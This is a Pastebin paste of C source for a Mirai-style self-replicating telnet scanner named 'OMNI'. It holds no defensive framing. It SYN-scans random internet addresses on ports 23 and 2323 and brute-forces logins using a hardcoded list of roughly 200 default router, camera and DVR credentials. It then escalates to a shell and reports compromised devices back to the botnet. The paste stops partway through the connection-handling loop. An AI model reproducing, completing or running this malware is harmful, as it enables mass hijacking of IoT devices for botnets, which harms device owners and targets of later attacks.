mysql_Anarchy

[ C ] OMNI Selfrep Scanner

Jun 4th, 2018
871
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 40.42 KB | None | 0 0
  1. #define _GNU_SOURCE
  2.  
  3. #ifdef WICKED_SCANNER
  4.  
  5. #ifdef DEBUG
  6. #include <stdio.h>
  7. #endif
  8. #include <unistd.h>
  9. #include <stdlib.h>
  10. #include <sys/socket.h>
  11. #include <arpa/inet.h>
  12. #include <sys/select.h>
  13. #include <sys/types.h>
  14. #include <time.h>
  15. #include <fcntl.h>
  16. #include <signal.h>
  17. #include <errno.h>
  18. #include <string.h>
  19. #include <linux/ip.h>
  20. #include <linux/tcp.h>
  21.  
  22. #include "includes.h"
  23. #include "scanner.h"
  24. #include "table.h"
  25. #include "rand.h"
  26. #include "util.h"
  27. #include "checksum.h"
  28. #include "resolv.h"
  29.  
  30. int scanner_pid, rsck, rsck_out, auth_table_len = 0;
  31. char scanner_rawpkt[sizeof (struct iphdr) + sizeof (struct tcphdr)] = {0};
  32. struct scanner_auth *auth_table = NULL;
  33. struct scanner_connection *conn_table;
  34. uint16_t auth_table_max_weight = 0;
  35. uint32_t fake_time = 0;
  36.  
  37. int recv_strip_null(int sock, void *buf, int len, int flags)
  38. {
  39.     int ret = recv(sock, buf, len, flags);
  40.  
  41.    
  42.     if (ret > 0)
  43.     {
  44.         int i = 0;
  45.  
  46.         for(i = 0; i < ret; i++)
  47.         {
  48.             if (((char *)buf)[i] == 0x00)
  49.             {
  50.                 ((char *)buf)[i] = 'A';
  51.             }
  52.         }
  53.     }
  54.  
  55.     return ret;
  56. }
  57.  
  58. void scanner_init(void)
  59. {
  60.     int i;
  61.     uint16_t source_port;
  62.     struct iphdr *iph;
  63.     struct tcphdr *tcph;
  64.  
  65.     // Let parent continue on main thread
  66.     scanner_pid = fork();
  67.     if (scanner_pid > 0 || scanner_pid == -1)
  68.         return;
  69.  
  70.     LOCAL_ADDR = util_local_addr();
  71.  
  72.     rand_init();
  73.     fake_time = time(NULL);
  74.     conn_table = calloc(SCANNER_MAX_CONNS, sizeof (struct scanner_connection));
  75.     for (i = 0; i < SCANNER_MAX_CONNS; i++)
  76.     {
  77.         conn_table[i].state = SC_CLOSED;
  78.         conn_table[i].fd = -1;
  79.     }
  80.  
  81.     // Set up raw socket scanning and payload
  82.     if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
  83.     {
  84. #ifdef DEBUG
  85.         printf("[scanner] Failed to initialize raw socket, cannot scan\n");
  86. #endif
  87.         exit(0);
  88.     }
  89.     fcntl(rsck, F_SETFL, O_NONBLOCK | fcntl(rsck, F_GETFL, 0));
  90.     i = 1;
  91.     if (setsockopt(rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof (i)) != 0)
  92.     {
  93. #ifdef DEBUG
  94.         printf("[scanner] Failed to set IP_HDRINCL, cannot scan\n");
  95. #endif
  96.         close(rsck);
  97.         exit(0);
  98.     }
  99.  
  100.     do
  101.     {
  102.         source_port = rand_next() & 0xffff;
  103.     }
  104.     while (ntohs(source_port) < 1024);
  105.  
  106.     iph = (struct iphdr *)scanner_rawpkt;
  107.     tcph = (struct tcphdr *)(iph + 1);
  108.  
  109.     // Set up IPv4 header
  110.     iph->ihl = 5;
  111.     iph->version = 4;
  112.     iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
  113.     iph->id = rand_next();
  114.     iph->ttl = 64;
  115.     iph->protocol = IPPROTO_TCP;
  116.  
  117.     // Set up TCP header
  118.     tcph->dest = htons(23);
  119.     tcph->source = source_port;
  120.     tcph->doff = 5;
  121.     tcph->window = rand_next() & 0xffff;
  122.     tcph->syn = TRUE;
  123.    
  124.     add_auth_entry("root", "founder88", 10); //
  125.     add_auth_entry("root", "zsun1188", 10); //
  126.     add_auth_entry("root", "anko", 10); //
  127.     add_auth_entry("root", "root", 10); //
  128.     add_auth_entry("root", "xc3511", 10); //
  129.     add_auth_entry("root", "vizxv", 10); //
  130.     add_auth_entry("root", "root123", 10); //
  131.     add_auth_entry("root", "1234", 10); //
  132.     add_auth_entry("root", "88888888", 10); //
  133.     add_auth_entry("root", "12345", 10); //
  134.     add_auth_entry("root", "password", 10); //
  135.     add_auth_entry("admin", "1234", 10); //
  136.     add_auth_entry("admin", "admin", 10); //
  137.     add_auth_entry("admin", "password", 10); //
  138.     add_auth_entry("admin", "zhongxing", 10); //
  139.     add_auth_entry("admin", "Win1doW$", 10); //
  140.     add_auth_entry("admin", "ipcam_rt5350", 10); //
  141.     add_auth_entry("user", "user", 10); //
  142.     add_auth_entry("user", "pass", 10); //
  143.     add_auth_entry("user", "password", 10); //
  144.     add_auth_entry("user", "12345", 10); //
  145.     add_auth_entry("guest", "guest", 10); //
  146.     add_auth_entry("guest", "pass", 10); //
  147.     add_auth_entry("guest", "password", 10); //
  148.     add_auth_entry("guest", "12345", 10); //
  149.     add_auth_entry("support", "support", 10); //
  150.     add_auth_entry("support", "support123", 10); //
  151.     add_auth_entry("support", "pass", 10); //
  152.     add_auth_entry("support", "password", 10); //
  153.     add_auth_entry("support", "12345", 10); //
  154.     add_auth_entry("default", "default", 10); //
  155.     add_auth_entry("default", "password", 10); //
  156.     add_auth_entry("default", "pass", 10); //
  157.     add_auth_entry("default", "12345", 10); //
  158.     add_auth_entry("admin", "dvr2580222", 10); //
  159.     add_auth_entry("root", "changeme", 10); //
  160.     add_auth_entry("admin", "changeme", 10); //
  161.     add_auth_entry("user", "changeme", 10); //
  162.     add_auth_entry("guest", "changeme", 10); //
  163.     add_auth_entry("support", "changeme", 10); //
  164.     add_auth_entry("default", "changeme", 10); //
  165.     add_auth_entry("admin", "ho4uku6at", 10); //
  166.     add_auth_entry("root", "cat1029", 10); //
  167.     add_auth_entry("supervisor", "zyad1234", 10); //
  168.     add_auth_entry("admin", "54321", 10); //
  169.     add_auth_entry("admin", "smcadmin", 10); //
  170.     add_auth_entry("root", "1001chin", 10); //
  171.     add_auth_entry("admin", "cat1029", 10); //
  172.     add_auth_entry("default", "antslq", 10); //
  173.     add_auth_entry("admin", "kont2004", 10); //
  174.     add_auth_entry("root", "admin@mymifi", 10); //
  175.     add_auth_entry("admin", "ZmqVfoSIP", 10); //
  176.     add_auth_entry("root", "tl789", 10); //
  177.     add_auth_entry("admin", "", 10); //
  178.     add_auth_entry("root", "", 10); //
  179.     add_auth_entry("e8telnet", "e8telnet", 10); //
  180.     add_auth_entry("e8ehome", "e8ehome", 10); //
  181.     add_auth_entry("telnetadmin", "telnetadmin", 10); //
  182.     add_auth_entry("telecomadmin", "admintelecom", 10); //
  183.     add_auth_entry("root", "hg2x0", 10); //
  184.     add_auth_entry("vstarcam2015", "20150602", 10); //
  185.     add_auth_entry("root", "juantech", 10); //
  186.     add_auth_entry("admin", "7ujMko0admin", 10); //
  187.     add_auth_entry("root", "7ujMko0vizxv", 10); //
  188.     add_auth_entry("root", "hunt5759", 10); //
  189.     add_auth_entry("root", "ivdev", 10); //
  190.     add_auth_entry("admin", "zhone", 10); //
  191.     add_auth_entry("guest", "guest123", 10); //
  192.     add_auth_entry("jnior", "jnior", 10); //
  193.     add_auth_entry("root", "tini", 10); //
  194.     add_auth_entry("admin", "h@32LuyD", 10); //
  195.     add_auth_entry("admin", "CenturyL1nk", 10); //
  196.     add_auth_entry("admin", "CTLSupport12", 10); //
  197.     add_auth_entry("admin", "QwestM0dem", 10); //
  198.     add_auth_entry("ruijie", "ruijie", 10); //
  199.     add_auth_entry("admin", "xad$l#12", 10); //
  200.     add_auth_entry("admin", "epicrouter", 10); //
  201.     add_auth_entry("telecomadmin", "nE7jA%5m", 10); //
  202.     add_auth_entry("admin", "888888", 10); //
  203.     add_auth_entry("superadmin", "Is$uper@dmin", 10); //
  204.     add_auth_entry("tmadmin", "tmadmin", 10); //
  205.     add_auth_entry("admin", "gvt12345", 10); //
  206.     add_auth_entry("ADSL", "export03", 10); //
  207.     add_auth_entry("admin", "adslroot", 10); //
  208.     add_auth_entry("admin", "Admin123", 10); //
  209.     add_auth_entry("admin", "nimda", 10); //
  210.     add_auth_entry("admin", "adminadmin", 10); //
  211.     add_auth_entry("admin", "bayandsl", 10); //
  212.     add_auth_entry("netscreen", "netscreen", 10); //
  213.     add_auth_entry("telnet", "telnet", 10); //
  214.     add_auth_entry("root", "vertex25ektks123", 10); //
  215.     add_auth_entry("zyuser", "1234", 10); //
  216.     add_auth_entry("admin", "0000", 10); //
  217.     add_auth_entry("admin", "ttnet", 10); //
  218.     add_auth_entry("engineer", "amplifier", 10); //
  219.     add_auth_entry("write", "private", 10); //
  220.     add_auth_entry("test1", "test1", 10); //
  221.     add_auth_entry("davo", "drc", 10); //
  222.     add_auth_entry("admin", "switch", 10); //
  223.     add_auth_entry("root", "hikvision", 10); //
  224.     add_auth_entry("hikvision", "hikvision", 10); //
  225.     add_auth_entry("root", "svgodie", 10); //
  226.     add_auth_entry("diag", "danger", 10); //
  227.     add_auth_entry("draytek", "1234", 10); //
  228.     add_auth_entry("daemon", "daemon", 10); //
  229.     add_auth_entry("bin", "", 10); //
  230.     add_auth_entry("adm", "", 10); //
  231.     add_auth_entry("666666", "666666", 10); //
  232.     add_auth_entry("root", "hadoop", 10); //
  233.     add_auth_entry("root", "b120root", 10); //
  234.     add_auth_entry("root", "alpine", 10); //
  235.     add_auth_entry("root", "ahetzip8", 10); //
  236.     add_auth_entry("root", "ROOT500", 10); //
  237.     add_auth_entry("admin", "260lhx", 10); //
  238.     add_auth_entry("root", "cam1029", 10); //
  239.     add_auth_entry("admin", "abc123", 10); //
  240.     add_auth_entry("root", "20080826", 10); //
  241.     add_auth_entry("root", "dreambox", 10); //
  242.     add_auth_entry("default", "S2fGqNFs", 10); //
  243.     add_auth_entry("administrator", "1234", 10); //
  244.     add_auth_entry("root", "1234qwer", 10); //
  245.     add_auth_entry("root", "xmhdipc", 10); //
  246.     add_auth_entry("root", "oelinux1234", 10); //
  247.     add_auth_entry("root", "jvbzd", 10); //
  248.     add_auth_entry("ubnt", "ubnt", 10); //
  249.     add_auth_entry("service", "service", 10); //
  250.     add_auth_entry("root", "GM8182", 10); //
  251.     add_auth_entry("root", "qazxsw", 10); //
  252.     add_auth_entry("root", "666666", 10); //
  253.     add_auth_entry("root", "klv1234", 10); //
  254.     add_auth_entry("admin", "aquario", 10); //
  255.     add_auth_entry("root", "Zte521", 10); //
  256.     add_auth_entry("admin", "meinsm", 10); //
  257.     add_auth_entry("tech", "tech", 10); //
  258.     add_auth_entry("admin", "1111111", 10); //
  259.     add_auth_entry("default", "lJwpbo6", 10); //
  260.     add_auth_entry("888888", "888888", 10); //
  261.     add_auth_entry("telecom", "telecom", 10); //
  262.     add_auth_entry("hscroot", "abc123", 10); //
  263.     add_auth_entry("admin", "1q2w3e", 10); //
  264.     add_auth_entry("webadmin", "webadmin", 10); //
  265.     add_auth_entry("admin", "system", 10); //
  266.     add_auth_entry("simple", "h3c", 10); //
  267.     add_auth_entry("operator", "operator", 10); //
  268.     add_auth_entry("IntraStack", "Asante", 10); //
  269.     add_auth_entry("Alphanetworks", "wrgn23_dlwbr_dir600b", 10); //
  270.     add_auth_entry("admin", "adslroot", 10); //
  271.     add_auth_entry("admin", "cciadmin", 10); //
  272.     add_auth_entry("Alphanetworks", "wrgg19_c_dlwbr_dir300", 10); //
  273.     add_auth_entry("Alphanetworks", "wrgn49_dlob_dir600b", 10); //
  274.     add_auth_entry("Alphanetworks", "wrgn22_dlwbr_dir615", 10); //
  275.     add_auth_entry("Alphanetworks", "wrgnd08_dlob_dir815", 10); //
  276.     add_auth_entry("Alphanetworks", "wrgg15_di524", 10); //
  277.     add_auth_entry("Alphanetworks", "wrgn39_dlob.hans_dir645", 10); //
  278.     add_auth_entry("Alphanetworks", "wapnd03cm_dkbs_dap2555", 10); //
  279.     add_auth_entry("Alphanetworks", "wapnd04cm_dkbs_dap3525", 10); //
  280.     add_auth_entry("Alphanetworks", "wapnd15_dlob_dap1522b", 10); //
  281.     add_auth_entry("Alphanetworks", "wrgac01_dlob.hans_dir865", 10); //
  282.     add_auth_entry("Alphanetworks", "wrgn23_dlwbr_dir300b", 10); //
  283.     add_auth_entry("Alphanetworks", "wrgn28_dlob_dir412", 10); //
  284.     add_auth_entry("Alphanetworks", "wrgn39_dlob.hans_dir645_V1", 10); //
  285.     add_auth_entry("GlobalAdmin", "GlobalAdmin", 10); //
  286.     add_auth_entry("VTech", "VTech", 10); //
  287.     add_auth_entry("admin", "<<< %s(un='%s') = %u", 10); //
  288.     add_auth_entry("admin", "AitbISP4eCiG", 10); //
  289.     add_auth_entry("admin", "adslolitec", 10); //
  290.     add_auth_entry("admin", "COadmin123", 10); //
  291.     add_auth_entry("admin", "comcomcom", 10); //
  292.     add_auth_entry("admin", "conexant", 10); //
  293.     add_auth_entry("admin", "default", 10); //
  294.     add_auth_entry("admin", "diamond", 10); //
  295.     add_auth_entry("admin", "extendnet", 10); //
  296.     add_auth_entry("admin", "hagpolm1", 10); //
  297.     add_auth_entry("admin", "ironport", 10); //
  298.     add_auth_entry("admin", "isee", 10); //
  299.     add_auth_entry("admin", "microbusiness", 10); //
  300.     add_auth_entry("admin", "rmnetlm", 10); //
  301.     add_auth_entry("admin", "smallbusiness", 10); //
  302.     add_auth_entry("admin", "Uq-4GIt3M", 10); //
  303.     add_auth_entry("admin", "w2402", 10); //
  304.     add_auth_entry("admin", "xad$l#12", 10); //
  305.     add_auth_entry("adminstrator", "changeme", 10); //
  306.     add_auth_entry("at4400", "at4400", 10); //
  307.     add_auth_entry("apc", "apc", 10); //
  308.     add_auth_entry("cac_admin", "cacadmin", 10); //
  309.     add_auth_entry("dadmin", "dadmin01", 10); //
  310.     add_auth_entry("dhs3mt", "dhs3mt", 10); //
  311.     add_auth_entry("dhs3pms", "dhs3pms", 10); //
  312.     add_auth_entry("e250", "e250changeme", 10); //
  313.     add_auth_entry("e500", "e500changeme", 10); //
  314.     add_auth_entry("kermit", "kermit", 10); //
  315.     add_auth_entry("netman", "netman", 10); //
  316.     add_auth_entry("netopia", "netopia", 10); //
  317.     add_auth_entry("operator", "$chwarzepumpe", 10); //
  318.     add_auth_entry("rapport", "r@p8p0r+", 10); //
  319.     add_auth_entry("root", "awind5885", 10); //
  320.     add_auth_entry("root", "Cisco", 10); //
  321.     add_auth_entry("root", "blender", 10); //
  322.     add_auth_entry("root", "ascend", 10); //
  323.     add_auth_entry("root", "cms500", 10); //
  324.     add_auth_entry("root", "fivranne", 10); //
  325.     add_auth_entry("root", "reecam4debug", 10); //
  326.     add_auth_entry("root", "W!n0&oO7.", 10); //
  327.     add_auth_entry("support", "h179350", 10); //
  328.     add_auth_entry("tiger", "tiger123", 10); //
  329.     add_auth_entry("vt100", "public", 10); //
  330.     add_auth_entry("volition", "volition", 10); //
  331.     add_auth_entry("default", "v2mprt", 10); //
  332.    
  333. #ifdef DEBUG
  334.     printf("[scanner] Scanner process initialized. Scanning started.\n");
  335. #endif
  336.  
  337.     // Main logic loop
  338.     while (TRUE)
  339.     {
  340.         fd_set fdset_rd, fdset_wr;
  341.         struct scanner_connection *conn;
  342.         struct timeval tim;
  343.         int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
  344.  
  345.         // Spew out SYN to try and get a response
  346.         if (fake_time != last_spew)
  347.         {
  348.             last_spew = fake_time;
  349.  
  350.             for (i = 0; i < SCANNER_RAW_PPS; i++)
  351.             {
  352.                 struct sockaddr_in paddr = {0};
  353.                 struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
  354.                 struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
  355.  
  356.                 iph->id = rand_next();
  357.                 iph->saddr = LOCAL_ADDR;
  358.                 iph->daddr = get_random_ip();
  359.                 iph->check = 0;
  360.                 iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
  361.  
  362.                 if (i % 10 == 0)
  363.                 {
  364.                     tcph->dest = htons(2323);
  365.                 }
  366.                 else
  367.                 {
  368.                     tcph->dest = htons(23);
  369.                 }
  370.                 tcph->seq = iph->daddr;
  371.                 tcph->check = 0;
  372.                 tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
  373.  
  374.                 paddr.sin_family = AF_INET;
  375.                 paddr.sin_addr.s_addr = iph->daddr;
  376.                 paddr.sin_port = tcph->dest;
  377.  
  378.                 sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
  379.             }
  380.         }
  381.  
  382.         // Read packets from raw socket to get SYN+ACKs
  383.         last_avail_conn = 0;
  384.         while (TRUE)
  385.         {
  386.             int n;
  387.             char dgram[1514];
  388.             struct iphdr *iph = (struct iphdr *)dgram;
  389.             struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
  390.             struct scanner_connection *conn;
  391.  
  392.             errno = 0;
  393.             n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
  394.             if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
  395.                 break;
  396.  
  397.             if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
  398.                 continue;
  399.             if (iph->daddr != LOCAL_ADDR)
  400.                 continue;
  401.             if (iph->protocol != IPPROTO_TCP)
  402.                 continue;
  403.             if (tcph->source != htons(23) && tcph->source != htons(2323))
  404.                 continue;
  405.             if (tcph->dest != source_port)
  406.                 continue;
  407.             if (!tcph->syn)
  408.                 continue;
  409.             if (!tcph->ack)
  410.                 continue;
  411.             if (tcph->rst)
  412.                 continue;
  413.             if (tcph->fin)
  414.                 continue;
  415.             if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
  416.                 continue;
  417.  
  418.             conn = NULL;
  419.             for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
  420.             {
  421.                 if (conn_table[n].state == SC_CLOSED)
  422.                 {
  423.                     conn = &conn_table[n];
  424.                     last_avail_conn = n;
  425.                     break;
  426.                 }
  427.             }
  428.  
  429.             // If there were no slots, then no point reading any more
  430.             if (conn == NULL)
  431.                 break;
  432.  
  433.             conn->dst_addr = iph->saddr;
  434.             conn->dst_port = tcph->source;
  435.             setup_connection(conn);
  436. #ifdef DEBUG
  437.             printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);
  438. #endif
  439.         }
  440.  
  441.         // Load file descriptors into fdsets
  442.         FD_ZERO(&fdset_rd);
  443.         FD_ZERO(&fdset_wr);
  444.         for (i = 0; i < SCANNER_MAX_CONNS; i++)
  445.         {
  446.             int timeout;
  447.  
  448.             conn = &conn_table[i];
  449.             timeout = (conn->state > SC_CONNECTING ? 30 : 5);
  450.  
  451.             if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
  452.             {
  453. #ifdef DEBUG
  454.                 printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
  455. #endif
  456.                 close(conn->fd);
  457.                 conn->fd = -1;
  458.  
  459.                 // Retry
  460.                 if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
  461.                 {
  462.                     if (++(conn->tries) == 207)
  463.                     {
  464.                         conn->tries = 0;
  465.                         conn->state = SC_CLOSED;
  466.                     }
  467.                     else
  468.                     {
  469.                         setup_connection(conn);
  470. #ifdef DEBUG
  471.                         printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
  472. #endif
  473.                     }
  474.                 }
  475.                 else
  476.                 {
  477.                     conn->tries = 0;
  478.                     conn->state = SC_CLOSED;
  479.                 }
  480.                 continue;
  481.             }
  482.  
  483.             if (conn->state == SC_CONNECTING)
  484.             {
  485.                 FD_SET(conn->fd, &fdset_wr);
  486.                 if (conn->fd > mfd_wr)
  487.                     mfd_wr = conn->fd;
  488.             }
  489.             else if (conn->state != SC_CLOSED)
  490.             {
  491.                 FD_SET(conn->fd, &fdset_rd);
  492.                 if (conn->fd > mfd_rd)
  493.                     mfd_rd = conn->fd;
  494.             }
  495.         }
  496.  
  497.         tim.tv_usec = 0;
  498.         tim.tv_sec = 1;
  499.         nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
  500.         fake_time = time(NULL);
  501.  
  502.         for (i = 0; i < SCANNER_MAX_CONNS; i++)
  503.         {
  504.             conn = &conn_table[i];
  505.  
  506.             if (conn->fd == -1)
  507.                 continue;
  508.  
  509.             if (FD_ISSET(conn->fd, &fdset_wr))
  510.             {
  511.                 int err = 0, ret = 0;
  512.                 socklen_t err_len = sizeof (err);
  513.  
  514.                 ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
  515.                 if (err == 0 && ret == 0)
  516.                 {
  517.                     conn->state = SC_HANDLE_IACS;
  518.                     conn->auth = random_auth_entry();
  519.                     conn->rdbuf_pos = 0;
  520. #ifdef DEBUG
  521.                     printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
  522. #endif
  523.                 }
  524.                 else
  525.                 {
  526. #ifdef DEBUG
  527.                     printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
  528. #endif
  529.                     close(conn->fd);
  530.                     conn->fd = -1;
  531.                     conn->tries = 0;
  532.                     conn->state = SC_CLOSED;
  533.                     continue;
  534.                 }
  535.             }
  536.  
  537.             if (FD_ISSET(conn->fd, &fdset_rd))
  538.             {
  539.                 while (TRUE)
  540.                 {
  541.                     int ret;
  542.  
  543.                     if (conn->state == SC_CLOSED)
  544.                         break;
  545.  
  546.                     if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
  547.                     {
  548.                         memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
  549.                         conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
  550.                     }
  551.                     errno = 0;
  552.                     ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
  553.                     if (ret == 0)
  554.                     {
  555. #ifdef DEBUG
  556.                         printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
  557. #endif
  558.                         errno = ECONNRESET;
  559.                         ret = -1; // Fall through to closing connection below
  560.                     }
  561.                     if (ret == -1)
  562.                     {
  563.                         if (errno != EAGAIN && errno != EWOULDBLOCK)
  564.                         {
  565. #ifdef DEBUG
  566.                             printf("[scanner] FD%d lost connection\n", conn->fd);
  567. #endif
  568.                             close(conn->fd);
  569.                             conn->fd = -1;
  570.  
  571.                             // Retry
  572.                             if (++(conn->tries) >= 207)
  573.  
  574.                             {
  575.                                 conn->tries = 0;
  576.                                 conn->state = SC_CLOSED;
  577.                             }
  578.                             else
  579.                             {
  580.                                 setup_connection(conn);
  581. #ifdef DEBUG
  582.                                 printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
  583. #endif
  584.                             }
  585.                         }
  586.                         break;
  587.                     }
  588.                     conn->rdbuf_pos += ret;
  589.                     conn->last_recv = fake_time;
  590.  
  591.                     while (TRUE)
  592.                     {
  593.                         int consumed = 0;
  594.  
  595.                         switch (conn->state)
  596.                         {
  597.                         case SC_HANDLE_IACS:
  598.                             if ((consumed = consume_iacs(conn)) > 0)
  599.                             {
  600.                                 conn->state = SC_WAITING_USERNAME;
  601. #ifdef DEBUG
  602.                                 printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
  603. #endif
  604.                             }
  605.                             break;
  606.                         case SC_WAITING_USERNAME:
  607.                             if ((consumed = consume_user_prompt(conn)) > 0)
  608.                             {
  609.                                 send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
  610.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  611.                                 conn->state = SC_WAITING_PASSWORD;
  612. #ifdef DEBUG
  613.                                 printf("[scanner] FD%d received username prompt\n", conn->fd);
  614. #endif
  615.                             }
  616.                             break;
  617.                         case SC_WAITING_PASSWORD:
  618.                             if ((consumed = consume_pass_prompt(conn)) > 0)
  619.                             {
  620. #ifdef DEBUG
  621.                                 printf("[scanner] FD%d received password prompt\n", conn->fd);
  622. #endif
  623.  
  624.                                 // Send password
  625.                                 send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
  626.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  627.  
  628.                                 conn->state = SC_WAITING_PASSWD_RESP;
  629.                             }
  630.                             break;
  631.                         case SC_WAITING_PASSWD_RESP:
  632.                             if ((consumed = consume_any_prompt(conn)) > 0)
  633.                             {
  634.                                 char *tmp_str;
  635.                                 int tmp_len;
  636.  
  637. #ifdef DEBUG
  638.                                 printf("[scanner] FD%d received shell prompt\n", conn->fd);
  639. #endif
  640.  
  641.                                 // Send enable / system / shell / sh to session to drop into shell if needed
  642.                                 table_unlock_val(TABLE_SCAN_ENABLE);
  643.                                 tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);
  644.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  645.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  646.                                 table_lock_val(TABLE_SCAN_ENABLE);
  647.                                 conn->state = SC_WAITING_ENABLE_RESP;
  648.                             }
  649.                             break;
  650.                         case SC_WAITING_ENABLE_RESP:
  651.                             if ((consumed = consume_any_prompt(conn)) > 0)
  652.                             {
  653.                                 char *tmp_str;
  654.                                 int tmp_len;
  655.  
  656. #ifdef DEBUG
  657.                                 printf("[scanner] FD%d received sh prompt\n", conn->fd);
  658. #endif
  659.  
  660.                                 table_unlock_val(TABLE_SCAN_SYSTEM);
  661.                                 tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);
  662.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  663.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  664.                                 table_lock_val(TABLE_SCAN_SYSTEM);
  665.  
  666.                                 conn->state = SC_WAITING_SYSTEM_RESP;
  667.                             }
  668.                             break;
  669.             case SC_WAITING_SYSTEM_RESP:
  670.                             if ((consumed = consume_any_prompt(conn)) > 0)
  671.                             {
  672.                                 char *tmp_str;
  673.                                 int tmp_len;
  674.  
  675. #ifdef DEBUG
  676.                                 printf("[scanner] FD%d received sh prompt\n", conn->fd);
  677. #endif
  678.  
  679.                                 table_unlock_val(TABLE_SCAN_SHELL);
  680.                                 tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);
  681.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  682.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  683.                                 table_lock_val(TABLE_SCAN_SHELL);
  684.  
  685.                                 conn->state = SC_WAITING_SHELL_RESP;
  686.                             }
  687.                             break;
  688.                         case SC_WAITING_SHELL_RESP:
  689.                             if ((consumed = consume_any_prompt(conn)) > 0)
  690.                             {
  691.                                 char *tmp_str;
  692.                                 int tmp_len;
  693.  
  694. #ifdef DEBUG
  695.                                 printf("[scanner] FD%d received enable prompt\n", conn->fd);
  696. #endif
  697.  
  698.                                 table_unlock_val(TABLE_SCAN_SH);
  699.                                 tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);
  700.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  701.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  702.                                 table_lock_val(TABLE_SCAN_SH);
  703.  
  704.                                 conn->state = SC_WAITING_SH_RESP;
  705.                             }
  706.                             break;
  707.                         case SC_WAITING_SH_RESP:
  708.                             if ((consumed = consume_any_prompt(conn)) > 0)
  709.                             {
  710.                                 char *tmp_str;
  711.                                 int tmp_len;
  712.  
  713. #ifdef DEBUG
  714.                                 printf("[scanner] FD%d received sh prompt\n", conn->fd);
  715. #endif
  716.  
  717.                                 // Send query string
  718.                                 table_unlock_val(TABLE_SCAN_QUERY);
  719.                                 tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);
  720.                                 send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
  721.                                 send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
  722.                                 table_lock_val(TABLE_SCAN_QUERY);
  723.  
  724.                                 conn->state = SC_WAITING_TOKEN_RESP;
  725.                             }
  726.                             break;
  727.                         case SC_WAITING_TOKEN_RESP:
  728.                             consumed = consume_resp_prompt(conn);
  729.                             if (consumed == -1)
  730.                             {
  731. #ifdef DEBUG
  732.                                 printf("[scanner] FD%d invalid username/password combo\n", conn->fd);
  733. #endif
  734.                                 close(conn->fd);
  735.                                 conn->fd = -1;
  736.  
  737.                                 // Retry
  738.                                 if (++(conn->tries) >= 207)
  739.                                 {
  740.                                     conn->tries = 0;
  741.                                     conn->state = SC_CLOSED;
  742.                                 }
  743.                                 else
  744.                                 {
  745.                                     setup_connection(conn);
  746. #ifdef DEBUG
  747.                                     printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
  748. #endif
  749.                                 }
  750.                             }
  751.                             else if (consumed > 0)
  752.                             {
  753.                                 char *tmp_str;
  754.                                 int tmp_len;
  755. #ifdef DEBUG
  756.                                 printf("[scanner] FD%d Found verified working telnet\n", conn->fd);
  757. #endif
  758.                                 report_working(conn->dst_addr, conn->dst_port, conn->auth);
  759.                                 close(conn->fd);
  760.                                 conn->fd = -1;
  761.                                 conn->state = SC_CLOSED;
  762.                             }
  763.                             break;
